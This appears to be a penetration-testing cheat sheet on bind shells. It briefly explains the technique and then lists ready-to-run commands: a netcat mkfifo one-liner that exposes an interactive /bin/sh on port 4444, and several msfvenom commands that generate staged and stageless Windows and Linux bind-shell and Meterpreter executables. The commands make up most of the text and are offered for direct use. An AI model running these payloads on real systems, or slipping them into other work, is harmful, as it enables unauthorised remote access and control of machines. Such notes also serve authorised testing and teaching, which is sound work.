Bind Shells

Bind shell is a type of shell where the target machine opens a listening port, allowing the attacker to connect to it and gain remote access.

Challenges

Operating system firewalls (on Windows & Linux) will likely block most incoming connections that aren’t associated with trusted network-based applications.

These are the most commonly used shell payloads for remote access and command execution:

• swisskyrepo
• revshells

Netcat

Netcat or nc utility is used for just about anything under the sun involving TCP or UDP.

Link to original

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l $TARGET_IP 4444 > /tmp/f

MSFvenom - Windows Bind

MSFvenom is a command-line tool from Metasploit used to generate and encode payloads for exploits.

Link to original

# Stageless payloads - netcat listener
msfvenom -p windows/x64/shell_bind_tcp RHOST=$TARGET_IP LPORT=4444 -f exe -o stageless.exe
 
# Stageless payloads - msfconsole listener
msfvenom -p windows/x64/meterpreter_bind_tcp RHOST=$TARGET_IP LPORT=4444 -f exe -o stageless.exe
 
# Staged payloads - meterpreter shell
msfvenom -p windows/x64/meterpreter/bind_tcp RHOST=$TARGET_IP LPORT=4444 -f exe -o staged.exe
 
# Staged payloads - cmd shell
msfvenom -p windows/x64/shell/bind_tcp RHOST=$TARGET_IP LPORT=4444 -f exe -o staged.exe

Link to original

MSFvenom - Linux Bind

MSFvenom is a command-line tool from Metasploit used to generate and encode payloads for exploits.

Link to original

# Stageless payloads - netcat listener
msfvenom -p linux/x64/shell_bind_tcp RHOST=$TARGET_IP LPORT=4444 -f elf -o stageless
 
# Staged payloads - meterpreter shell
msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=$TARGET_IP LPORT=4444 -f elf -o staged
 
# Staged payloads - cmd shell
msfvenom -p linux/x64/shell/bind_tcp RHOST=$TARGET_IP LPORT=4444 -f elf -o staged

Link to original